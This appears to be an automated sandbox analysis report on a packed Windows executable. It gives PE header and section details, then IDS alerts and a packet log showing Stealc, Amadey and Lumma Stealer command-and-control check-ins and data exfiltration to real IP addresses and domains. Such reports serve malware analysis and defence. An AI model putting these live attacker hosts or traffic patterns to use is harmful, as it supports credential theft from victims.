SSDEEP:	49152:UpsHPlWKh2+6DSKdjxQxr68M6S4kerLxKAr1S8:dNt2+6SKdxQ4JeBhr
TLSH:	9C8533CF5D63176EC108DE74CC97C765B3386E5B34C62A302C6B95A02863E9512BD8AF
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8...k...k...k..'k...k...k...k..&k...k...k...k...k...k...j...k...k...k..#k...k...k...kRich...k........................PE..L..

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0xa8f000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x672FC34F [Sat Nov 9 20:17:19 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F33C57B1EDAh

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x24b04d	0x61	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x24b1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x249000	0x16200	6d42cc507b053576a078784478a09452	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x24a000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x24b000	0x1000	0x200	0d0399d83a742d5d86c5718841e8e842	False	0.134765625	data	0.8646718654202081	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x24c000	0x2a6000	0x200	659b1eca756d9120d82445c11b23d0da	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
flqmrefc	0x4f2000	0x19c000	0x19be00	136f2b6b6441768bc30ac8a67ccf7536	False	0.994863785091047	data	7.954460948272114	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
pvhoknzu	0x68e000	0x1000	0x400	1d577ad88123093ab988a9e1fb446e8f	False	0.828125	data	6.3564380147070265	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x68f000	0x3000	0x2200	fbccc56b3d08f47c67ad5c4248bb192a	False	0.0681295955882353	DOS executable (COM)	0.8997691070577953	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-11T14:32:01.515209+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	49730	185.215.113.206	80	TCP
2024-11-11T14:32:01.718216+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.4	49730	185.215.113.206	80	TCP
2024-11-11T14:32:01.724294+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.4	49730	TCP
2024-11-11T14:32:01.921165+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.4	49730	185.215.113.206	80	TCP
2024-11-11T14:32:01.927720+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.4	49730	TCP
2024-11-11T14:32:02.886177+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.4	49730	185.215.113.206	80	TCP
2024-11-11T14:32:03.620169+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49730	185.215.113.206	80	TCP
2024-11-11T14:32:15.902420+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49753	185.215.113.206	80	TCP
2024-11-11T14:32:16.416592+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	20.12.23.50	443	192.168.2.4	49755	TCP
2024-11-11T14:32:16.710360+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49753	185.215.113.206	80	TCP
2024-11-11T14:32:17.107058+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49753	185.215.113.206	80	TCP
2024-11-11T14:32:17.602526+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49753	185.215.113.206	80	TCP
2024-11-11T14:32:18.230722+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49753	185.215.113.206	80	TCP
2024-11-11T14:32:18.470022+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49753	185.215.113.206	80	TCP
2024-11-11T14:32:21.681445+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49761	185.215.113.16	80	TCP
2024-11-11T14:32:54.224315+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	20.12.23.50	443	192.168.2.4	49762	TCP
2024-11-11T14:33:04.255778+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.4	49799	185.215.113.43	80	TCP
2024-11-11T14:33:07.069132+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49824	185.215.113.16	80	TCP
2024-11-11T14:33:09.238731+0100	2057131	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store)	1	192.168.2.4	53532	1.1.1.1	53	UDP
2024-11-11T14:33:09.267393+0100	2057129	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store)	1	192.168.2.4	62803	1.1.1.1	53	UDP
2024-11-11T14:33:09.297037+0100	2057127	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store)	1	192.168.2.4	62249	1.1.1.1	53	UDP
2024-11-11T14:33:09.323280+0100	2057125	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store)	1	192.168.2.4	51693	1.1.1.1	53	UDP
2024-11-11T14:33:09.347515+0100	2057123	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacedmny .store)	1	192.168.2.4	62852	1.1.1.1	53	UDP
2024-11-11T14:33:09.373750+0100	2057121	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (founpiuer .store)	1	192.168.2.4	57341	1.1.1.1	53	UDP
2024-11-11T14:33:09.399581+0100	2057119	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (navygenerayk .store)	1	192.168.2.4	49972	1.1.1.1	53	UDP
2024-11-11T14:33:09.425583+0100	2057101	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (scriptyprefej .store)	1	192.168.2.4	59457	1.1.1.1	53	UDP
2024-11-11T14:33:10.045533+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49847	23.192.247.89	443	TCP
2024-11-11T14:33:10.255991+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.4	49815	TCP
2024-11-11T14:33:10.661321+0100	2858666	ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup	1	192.168.2.4	49847	23.192.247.89	443	TCP
2024-11-11T14:33:10.900437+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49856	185.215.113.43	80	TCP
2024-11-11T14:33:11.543746+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49862	185.215.113.16	80	TCP
2024-11-11T14:33:15.243464+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49891	185.215.113.43	80	TCP
2024-11-11T14:33:15.247462+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	49887	185.215.113.206	80	TCP
2024-11-11T14:33:19.108160+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49920	185.215.113.43	80	TCP
2024-11-11T14:33:20.588572+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49929	185.215.113.16	80	TCP
2024-11-11T14:33:22.853331+0100	2057131	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store)	1	192.168.2.4	55227	1.1.1.1	53	UDP
2024-11-11T14:33:22.882048+0100	2057129	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store)	1	192.168.2.4	58469	1.1.1.1	53	UDP
2024-11-11T14:33:22.905558+0100	2057127	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store)	1	192.168.2.4	50058	1.1.1.1	53	UDP
2024-11-11T14:33:22.931403+0100	2057125	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store)	1	192.168.2.4	50159	1.1.1.1	53	UDP
2024-11-11T14:33:22.957202+0100	2057123	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacedmny .store)	1	192.168.2.4	64264	1.1.1.1	53	UDP
2024-11-11T14:33:23.003825+0100	2057121	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (founpiuer .store)	1	192.168.2.4	56328	1.1.1.1	53	UDP
2024-11-11T14:33:23.030006+0100	2057119	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (navygenerayk .store)	1	192.168.2.4	63429	1.1.1.1	53	UDP
2024-11-11T14:33:23.054996+0100	2057101	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (scriptyprefej .store)	1	192.168.2.4	55173	1.1.1.1	53	UDP
2024-11-11T14:33:23.677211+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49951	23.192.247.89	443	TCP
2024-11-11T14:33:23.693949+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49950	185.215.113.43	80	TCP
2024-11-11T14:33:24.683226+0100	2858666	ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup	1	192.168.2.4	49951	23.192.247.89	443	TCP
2024-11-11T14:33:25.294523+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49962	188.114.97.3	443	TCP
2024-11-11T14:33:25.666040+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49962	188.114.97.3	443	TCP
2024-11-11T14:33:25.666040+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49962	188.114.97.3	443	TCP
2024-11-11T14:33:26.216234+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49974	188.114.97.3	443	TCP
2024-11-11T14:33:26.602215+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49974	188.114.97.3	443	TCP
2024-11-11T14:33:26.602215+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49974	188.114.97.3	443	TCP
2024-11-11T14:33:27.634107+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49985	188.114.97.3	443	TCP
2024-11-11T14:33:28.736206+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49997	188.114.97.3	443	TCP
2024-11-11T14:33:29.166919+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	49997	188.114.97.3	443	TCP
2024-11-11T14:33:30.208304+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50008	188.114.97.3	443	TCP
2024-11-11T14:33:33.108675+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50030	188.114.97.3	443	TCP
2024-11-11T14:33:34.113762+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	50036	185.215.113.206	80	TCP
2024-11-11T14:33:34.560665+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50045	188.114.97.3	443	TCP
2024-11-11T14:33:38.404302+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50055	188.114.97.3	443	TCP
2024-11-11T14:33:38.788249+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	50055	188.114.97.3	443	TCP
2024-11-11T14:33:44.702485+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	50060	185.215.113.206	80	TCP
2024-11-11T14:33:47.731532+0100	2057131	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store)	1	192.168.2.4	62004	1.1.1.1	53	UDP
2024-11-11T14:33:47.770076+0100	2057129	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store)	1	192.168.2.4	62329	1.1.1.1	53	UDP
2024-11-11T14:33:47.847201+0100	2057127	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store)	1	192.168.2.4	56793	1.1.1.1	53	UDP
2024-11-11T14:33:47.871828+0100	2057125	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store)	1	192.168.2.4	59946	1.1.1.1	53	UDP
2024-11-11T14:33:47.897290+0100	2057123	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacedmny .store)	1	192.168.2.4	56886	1.1.1.1	53	UDP
2024-11-11T14:33:47.923498+0100	2057121	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (founpiuer .store)	1	192.168.2.4	52996	1.1.1.1	53	UDP
2024-11-11T14:33:47.948221+0100	2057119	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (navygenerayk .store)	1	192.168.2.4	54880	1.1.1.1	53	UDP
2024-11-11T14:33:47.973790+0100	2057101	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (scriptyprefej .store)	1	192.168.2.4	63367	1.1.1.1	53	UDP
2024-11-11T14:33:48.592995+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50063	23.192.247.89	443	TCP
2024-11-11T14:33:49.499873+0100	2858666	ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup	1	192.168.2.4	50063	23.192.247.89	443	TCP
2024-11-11T14:33:50.033614+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50064	188.114.97.3	443	TCP
2024-11-11T14:33:50.425428+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	50064	188.114.97.3	443	TCP
2024-11-11T14:33:50.425428+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	50064	188.114.97.3	443	TCP
2024-11-11T14:33:50.981364+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50066	188.114.97.3	443	TCP
2024-11-11T14:33:51.357221+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	50066	188.114.97.3	443	TCP
2024-11-11T14:33:51.357221+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	50066	188.114.97.3	443	TCP
2024-11-11T14:33:52.366965+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50067	188.114.97.3	443	TCP
2024-11-11T14:33:53.470015+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50069	188.114.97.3	443	TCP
2024-11-11T14:33:55.050151+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50070	188.114.97.3	443	TCP
2024-11-11T14:33:57.010112+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50072	188.114.97.3	443	TCP
2024-11-11T14:33:58.883002+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50075	188.114.97.3	443	TCP
2024-11-11T14:33:59.323117+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	50074	185.215.113.206	80	TCP
2024-11-11T14:34:00.654753+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50077	188.114.97.3	443	TCP
2024-11-11T14:34:01.020503+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	50077	188.114.97.3	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 11, 2024 14:32:00.649821997 CET	49730	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:00.654928923 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:00.654999018 CET	49730	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:00.655181885 CET	49730	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:00.660031080 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:01.297915936 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:01.297991991 CET	49730	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:01.300329924 CET	49730	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:01.305224895 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:01.515055895 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:01.515208960 CET	49730	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:01.515988111 CET	49730	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:01.520787001 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:01.718099117 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:01.718215942 CET	49730	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:01.718244076 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:01.718353033 CET	49730	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:01.719494104 CET	49730	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:01.724293947 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:01.829778910 CET	49675	443	192.168.2.4	173.222.162.32
Nov 11, 2024 14:32:01.921060085 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:01.921072006 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:01.921084881 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:01.921103001 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:01.921140909 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:01.921164989 CET	49730	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:01.921190977 CET	49730	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:01.921190977 CET	49730	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:01.921231985 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:01.921240091 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:01.921295881 CET	49730	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:01.921385050 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:01.921437025 CET	49730	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:01.922920942 CET	49730	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:01.927720070 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:02.151417971 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:02.151501894 CET	49730	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:02.165982962 CET	49730	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:02.166007996 CET	49730	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:02.170989037 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:02.170996904 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:02.171001911 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:02.171005964 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:02.171016932 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:02.171058893 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:02.171111107 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:02.171421051 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:02.886009932 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:02.886177063 CET	49730	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:03.420387983 CET	49730	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:03.427951097 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:03.620079994 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:03.620102882 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:03.620112896 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:03.620124102 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:03.620134115 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:03.620146036 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:03.620168924 CET	49730	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:03.620203018 CET	49730	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:03.620738029 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:03.620788097 CET	49730	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:03.620822906 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:03.620866060 CET	49730	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:03.620950937 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:03.620996952 CET	49730	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:03.621006966 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:03.621017933 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:03.621028900 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:03.621052027 CET	49730	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:03.621085882 CET	49730	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:03.621665001 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:03.621711969 CET	49730	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:03.621998072 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:03.622050047 CET	49730	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:03.733158112 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:03.733182907 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:03.733192921 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:03.733284950 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:03.733298063 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:03.733309984 CET	49730	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:03.733347893 CET	49730	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:03.733591080 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:03.733601093 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:03.733613014 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:03.733654976 CET	49730	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:03.733665943 CET	49730	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:03.733676910 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:03.733688116 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:03.733725071 CET	49730	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:03.734390974 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:03.734448910 CET	49730	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:03.734491110 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:03.734502077 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:03.734564066 CET	49730	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:03.734760046 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:03.734780073 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:03.734788895 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:03.734810114 CET	49730	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:03.734862089 CET	49730	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:03.734889030 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:03.734899998 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:03.734947920 CET	49730	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:03.735651016 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:03.735682964 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:03.735693932 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:03.735706091 CET	49730	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:03.735739946 CET	49730	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:03.735771894 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:03.735785961 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:03.735846996 CET	49730	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:03.736577034 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:03.736644030 CET	49730	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:03.845752954 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:03.845772028 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:03.845782995 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:03.845803976 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:03.845829964 CET	49730	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:03.845845938 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:03.845865011 CET	49730	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:03.845868111 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:03.845879078 CET	80	49730	185.215.113.206	192.168.2.4
